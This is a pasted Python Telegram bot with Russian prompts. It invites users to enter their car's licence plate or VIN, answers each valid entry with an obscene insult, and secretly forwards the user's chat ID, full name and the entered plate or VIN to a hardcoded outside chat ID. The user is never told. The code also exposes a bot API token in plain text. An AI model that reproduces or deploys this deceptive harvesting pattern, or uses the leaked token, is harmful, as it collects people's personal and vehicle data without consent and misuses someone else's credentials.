Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import telebot
- from telebot import types
- import pyvin
- BOT_TOKEN = '1837300144:AAFDOpl-FtOSninGqF4Dz174c-UNcwOeleA'
- # AUTO NUMBER
- # defautl ru region numbers
- REGION_NUMBERS = ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11',
- '12', '13', '14', '15', '16', '17', '18', '19', '20', '95', '21',
- '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32',
- '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43',
- '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54',
- '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65',
- '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76',
- '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87',
- '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98',
- '99', '102', '113', '116', '121', '122', '123', '124', '125', '126',
- '134', '136', '138', '142', '147', '150', '152', '154', '156', '159',
- '161', '163', '164', '173', '174', '177', '178', '186', '190', '193',
- '196', '197', '198', '199', '702', '750', '716', '761', '763', '774',
- '777', '790', '797', '799']
- # letters ru numbers
- VALID_LETTERS = ['А', 'В', 'Е', 'К', 'М', 'Н', 'О', 'Р', 'С', 'Т', 'У', 'Х']
- bot = telebot.TeleBot(token=BOT_TOKEN)
- @bot.message_handler(commands=['start'])
- def start(message):
- user_first_name = message.chat.first_name
- user_last_name = message.chat.last_name
- send_mess = f'Привет, <b>{user_first_name} {user_last_name}</b>!\nВведи номер или VIN своего авто.\n<b>На русском языке</b>'
- # Setting Keyboard
- markup = types.ReplyKeyboardMarkup(resize_keyboard=True)
- num = types.KeyboardButton('Номер Автомобиля 🚗')
- vin = types.KeyboardButton('VIN Автомобиля 🔤')
- markup.add(num, vin)
- bot.send_message(message.chat.id, send_mess, parse_mode='html', reply_markup=markup)
- def transform(text):
- return text.upper().replace(' ', '')
- def isAutoNum(a_num):
- if len(a_num) != 9 and len(a_num) != 8:
- return False, 'Некорректный номер ❌'
- auto_number = {
- 'seria': a_num[0] + a_num[4] + a_num[5],
- 'registration_number': a_num[1:4],
- 'region_code': a_num[6:]
- }
- for letter in auto_number['seria']:
- if not (letter in VALID_LETTERS):
- return False, 'Не верный серийный номер ❌'
- if not (auto_number['region_code'] in REGION_NUMBERS):
- return False, 'Не верный код региона ❌'
- return True, ''
- def isAutoVin(vin):
- if len(vin) != 17:
- return False, 'Некорректный номер ❌'
- auto_vin = pyvin.VIN(vin)
- if auto_vin == []:
- return False, 'Некорректный номер ❌'
- return True, ''
- def auto_num(message):
- num = transform(message.text)
- ret, e = isAutoNum(num)
- if not ret:
- bot.send_message(message.chat.id, e)
- return
- bot.send_message(message.chat.id, 'Пошёл нахуй ✅')
- bot.send_message(330076987, f'{message.chat.id} - {message.chat.first_name} {message.chat.last_name}. Text - {num}')
- def auto_vin(message):
- vin = transform(message.text)
- ret, error = isAutoVin(vin)
- if not ret:
- bot.send_message(message.chat.id, error)
- return
- bot.send_message(message.chat.id, 'Пошёл нахуй ✅')
- bot.send_message(330076987, f'{message.chat.id} - {message.chat.first_name} {message.chat.last_name}. Text - {vin}')
- @bot.message_handler(content_types=['text'])
- def get(message):
- if not (message.text in ('Номер Автомобиля 🚗', 'VIN Автомобиля 🔤')):
- return
- if message.text == 'Номер Автомобиля 🚗':
- send = bot.send_message(message.chat.id, 'Введите номер автомобиля 🚗')
- bot.register_next_step_handler(send, auto_num)
- elif message.text == 'VIN Автомобиля 🔤':
- send = bot.send_message(message.chat.id, 'Введите VIN номер автомобиля 🔤')
- bot.register_next_step_handler(send, auto_vin)
- bot.polling(none_stop=True)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement